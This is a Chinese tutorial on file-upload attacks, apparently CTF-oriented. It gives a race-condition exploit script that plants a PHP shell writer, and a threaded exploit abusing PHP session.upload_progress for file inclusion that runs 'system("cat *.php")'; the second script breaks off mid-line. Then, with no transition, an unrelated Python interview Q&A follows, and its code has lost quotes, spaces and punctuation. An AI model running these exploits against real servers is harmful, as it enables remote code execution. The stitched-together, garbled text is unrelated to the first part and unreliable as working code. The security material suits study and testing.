文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获取到了执行服务器端命令的能力.这种攻击凡是是最为直接和有效的,文件上传本身没有什么问题,有问题的是文件上传后,服务器端如何去处理,解释文件,如果服务器的处理逻辑做的不够安全,则会导致严重的后果
危害
- 上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传脚本,导致代码执行
- 上传文件是木马或者病毒.主要用于诱骗用户或者管理员下载执行或者直接自动运行
- 上传文件是flash的执行策略文件crossdomain.xml.黑客用以控制flash在该域下的行为(其他通过类似的凡是控制策略文件的情况类似)
上传漏洞满足条件
首先上传文件能够被web容器解释执行,所以文件上传后所在的目录要是web容器所覆盖到的路径,其次,用户能够从web访问这个文件,如果文件上传了,但是用户无法通过web 访问,或者无法得到web容器解释这个脚本,那么也不能称为漏洞,最后,文件上传的文件若被安全检查,格式化,图片压缩等功能改变了内容,则也可能攻击不成功
https://www.freebuf.com/vuls/279171.html
什么时候可以用条件竞争
上传后删除
原理简单,之间上代码
<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀
$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path))
if(!preg_match('/php/i', $ext)) #判断后缀是否为php
echo 'upload success,file in '.$path;
else
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
else
die('upload error');
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://wan/'
files = 'file': (
'wan.php', "<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>")
r = requests.post(url=url +"server.php", files=files)
# print(r.text)
req = requests.get(url + "uploads/wan.php")
if req.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td, range(200))
利用php _session_upload_progress进行文件包含
可以利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
php的几个默认配置
#表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件是,php会把此次文件上传的详细信息(如上传时间 上传进度等)存储在session当中
1. session.upload_progress.enabled = on
#表示当文件上传结束后,php将会立即清除对应session文件中的内容,这个选项非常重要
2. session.upload_progress.cleanup = on
#prefix+name将表示为session中的键名
3. session.upload_progress.prefix = "upload_progress_"
#name当它出现在表单中,php将会报告上传进度,最大的好处是他的值可控
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
7.session.use_strict_mode=off
#增配置的默认值为off,表示我们对cookie中的sessionid可控
我们来看一下这两个.
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
7.session.use_strict_mode=off
// PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是有配置项session.save_handler来进行确定的,默认便是以文件进行存储,存储文件的名字便是有sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path来进行决定的.
一般session存储的路径都不会去更改,默认便是.
linux:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
Windows:
C:\\WINDOWS\\Temp
默认的存储路径知道了,但是还有一个问题,就是代码中没有session_start()函数,怎么创建出session文件呢?其实如果配置项session.auto_start=On 是打开的,那么php在接收请求的时候就会自动化session,不在需要执行该函数,但是默认都是关闭的,在session中还有一个默认选项,便是上面的session.use_strict_mode=0默认值off,用户可以自己定义sessionid.
Cookie中设置:
PHPSESSID=123
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_123
即使此时用户没有初始化session,php也会自动初始化session,并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
import requests
import io
import threading
url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies='PHPSESSID': sessID,
data='PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>',
files='file':('text.txt',f)
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,
Python面试你做准备了吗?下面小千整理了一套2021年最新Python常见面试题目,及Python面试题目答案汇总。希望能够帮助到大家。
21年最新Python面试题及答案汇总详解(上)
1、列表(list)和元组(tuple)有什么区别?
在我每一次应聘Python数据科学家的面试中,这个问题都会被问到。所以对这个问题的答案,我可以说是了如指掌。
列表是可变的。创建后可以对其进行修改。
元组是不可变的。元组一旦创建,就不能对其进行更改。
列表表示的是顺序。它们是有序序列,通常是同一类型的对象。比如说按创建日期排序的所有用户名,如[“Seth”,“Ema”,“Eli”]。
元组表示的是结构。可以用来存储不同数据类型的元素。比如内存中的数据库记录,如(2,“Ema”,“2020–04–16”)(#id,名称,创建日期)。
2、如何进行字符串插值?
在不导入Template类的情况下,有3种方法进行字符串插值。
name=Chris#
1、fstringsprint(fHello{name})#
2、%operatorprint(Hey%s%s%(name,name))#
3、formatprint(“Mynameis{}”、format((name)))
3、“is”和“==”有什么区别?
在我的Python职业生涯的早期,我认为它们是相同的,因而制造了一些bug。所以请大家听好了,“is”用来检查对象的标识(id),而“==”用来检查两个对象是否相等。我们将通过一个例子说明。创建一些列表并将其分配给不同的名字。请注意,下面的b指向与a相同的对象。
a=[1,2,3]b=ac=[1,2,3]
下面来检查是否相等,你会注意到结果显示它们都是相等的。
print(a==b)print(a==c)#=>;True#=>;True
但是它们具有相同的标识(id)吗?答案是不。
print(aisb)print(aisc)#=>;True#=>;False
我们可以通过打印他们的对象标识(id)来验证这一点。
print(id(a))print(id(b))print(id©)#=>;
4369567560#=>;
4369567560#=>;
4369567624
你可以看到:c和a和b具有不同的标识(id)。
4、什么是装饰器(decorator)?
这是每次面试我都会被问到的另一个问题。它本身就值得写一篇文章。如果你能自己用它编写一个例子,那么说明你已经做好了准备。
装饰器允许通过将现有函数传递给装饰器,从而向现有函数添加一些额外的功能,该装饰器将执行现有函数的功能和添加的额外功能。
我们将编写一个装饰器,该装饰器会在调用另一个函数时记录日志。
编写装饰器函数logging。它接受一个函数func作为参数。它还定义了一个名为log_function_called的函数,它先执行打印出一些“函数func被调用”的信息(print(f{func}called、)),然后调用函数func()。最后返回定义的函数。
deflogging(func):deflog_function_called():print(f{
func
}
called、
)
func()returnlog_function_called
让我们编写其他两个函数,我们最终会将装饰器添加到其中(但还没有)。
defmy_name():print(chris)deffriends_name():print(naruto)my_name()friends_name()#=>;chris#=>;naruto
现在将装饰器添加到上面编写的两个函数之中。
@loggingdefmy_name():print(chris)@loggingdeffriends_name():print(naruto)my_name()friends_name()#=>;<;functionmy_nameat0x10fca5a60>;called、#=>;chris#=>;<;functionfriends_nameat0x10fca5f28>;called、#=>;naruto
现在,你了解了如何仅仅通过在其上面添加@logging(装饰器),就能够轻松地将日志添加到我们编写的任何函数中。
5、解释Range函数
Range函数可以用来创建一个整数列表,一般用在for循环中。它有3种使用方法。
Range函数可以接受1到3个参数,参数必须是整数。
请注意:我已经将range的每种用法包装在一个递推式构造列表(listcomprehension)中,以便我们可以看到生成的值。
用法1-range(stop):生成从0到参数“stop”之间的整数。
[iforiinrange(10)]#=>;[0,1,2,3,4,5,6,7,8,9]
用法2-range(start,stop):生成从参数“start”到“stop”之间的整数
[iforiinrange(2,10)]#=>;[2,3,4,5,6,7,8,9]
用法3-range(start,stop,step):以参数“step”为步长,生成从“start”到“stop”之间的整数。
[iforiinrange(2,10,2)]#=>;[2,4,6,8]
6、定义一个名为car的类,它有两个属性:“color”和“speed”。然后创建一个实例并返回“speed”。
classCar:def__init__(self,color,speed):self、color=colorself、speed=speedcar=Car(red,100mph)car、speed#=>;100mph
7、Python中的实例方法、静态方法和类方法有什么区别?
实例方法:接受self参数,并且与类的特定实例相关。
静态方法:使用装饰器@staticmethod,与特定实例无关,并且是自包含的(不能修改类或实例的属性)。
类方法:接受cls参数,并且可以修改类本身。我们将通过一个虚构的CoffeeShop类来说明它们之间的区别。
classCoffeeShop:specialty=espressodef__init__(self,coffee_price):self、coffee_price=coffee_price#instancemethoddefmake_coffee(self):print(fMaking{self、specialty}for${self、coffee_price})#staticmethod@staticmethoddefcheck_weather():print(Itssunny)#classmethod@classmethoddefchange_specialty(cls,specialty):cls、specialty=specialtyprint(fSpecialtychangedto{specialty})
CoffeeShop类有一个属性specialty,默认值设为“espresso”。CoffeeShop类的每个实例初始化时都使用了coffee_price这个属性。同时,它还有3个方法,一个实例方法,一个静态方法和一个类方法。
让我们将coffee_price的值设为5,来初始化CoffeeShop的一个实例。然后调用实例方法make_coffee。
coffee_shop=CoffeeShop(5)coffee_shop、make_coffee()#=>;Makingespressofor$5
现在我们来调用静态方法。静态方法无法修改类或实例状态,因此通常用于工具函数,例如,把2个数字相加。我们这里用它来检查天气。天气晴朗。太好了!
coffee_shop、check_weather()#=>;Itssunny
现在让我们使用类方法修改CoffeeShop的属性specialty,然后调用make_coffee()方法来制作咖啡。
coffee_shop、change_specialty(dripcoffee)#=>;Specialtychangedtodripcoffeecoffee_shop、make_coffee()#=>;Makingdripcoffeefor$5
注意,make_coffee过去是用来做意式浓缩咖啡(espresso)的,但现在用来做滴滤咖啡(dripcoffee)了!
8、“func”和“func()”有什么区别?
这个问题的目的是想看看你是否理解所有函数也是Python中的对象。
deffunc():print(Imafunction)func#=>;function__main__、func>;func()#=>;Imafunction
func是表示函数的对象,它可以被分配给变量或传递给另一个函数。带圆括号的func()调用该函数并返回其输出。
9、解释map函数的工作原理。
Map函数返回一个列表,该列表由对序列中的每个元素应用一个函数时返回的值组成。
defadd_three(x):returnx+3li=[1,2,3][iforiinmap(add_three,li)]#=>;[4,5,6]
上面,我对列表中的每个元素的值加了3。
10、解释reduce函数的工作原理。
这个问题很棘手,在你使用过它几次之前,你得努力尝试自己能够理解它。reduce接受一个函数和一个序列,然后对序列进行迭代。在每次迭代中,当前元素和前一个元素的输出都传递给函数。最后,返回一个值。
fromfunctoolsimportreducedefadd_three(x,y):returnx+yli=[1,2,3,5]reduce(add_three,li)#=>;11
返回11,它是1+2+3+5的总和。
11、解释filter函数的工作原理
Filter函数顾名思义,是用来按顺序过滤元素。
每个元素都被传递给一个函数,如果函数返回True,则在输出序列中返回该元素;如果函数返回False,则将其丢弃。
defadd_three(x):ifx%2==0:returnTrueelse:returnFalseli=[1,2,3,4,5,6,7,8][iforiinfilter(add_three,li)]#=>;[2,4,6,8]
注意上面所有不能被2整除的元素如何被删除的。
12、Python是按引用调用还是按值调用?
如果你在谷歌上搜索这个问题并阅读前几页,你就要准备好进入语义的迷宫了。你最好只是了解它的工作原理。
不可变对象(如字符串、数字和元组等)是按值调用的。请注意下面的例子,当在函数内部修改时,name的值在函数外部不会发生变化。name的值已分配给内存中该函数作用域的新块。
name=chrdefadd_chars(s):s+=isprint(s)add_chars(name)print(name)#=>;chris#=>;chr
可变对象(如列表等)是通过引用调用的。注意下面的例子中,函数外部定义的列表在函数内部的修改是如何影响到函数外部的。函数中的参数指向内存中存储li值的原始块。
li=[1,2]defadd_element(seq):seq、append(3)print(seq)add_element(li)print(li)#=>;[1,2,3]#=>;[1,2,3]
13、如何使用reverse函数反转一个列表?
下面的代码对一个列表调用reverse()函数,对其进行修改。该方法没有返回值,但是会对列表的元素进行反向排序。
li=[a,b,c]print(li)li、reverse()print(li)#=>;[a,b,c]#=>;[c,b,a]
14、字符串乘法是如何工作的?
让我们看看将字符串"cat"乘以3的结果。
cat*3#=>;catcatcat
该字符串将自身连接3次。
15、列表乘法是如何工作的?
我们来看看将列表[1,2,3]乘以2的结果。
[1,2,3]*2#=>;[1,2,3,1,2,3]
输出的列表包含了重复两次的列表[1,2,3]的内容。
本文来自千锋教育,转载请注明出处。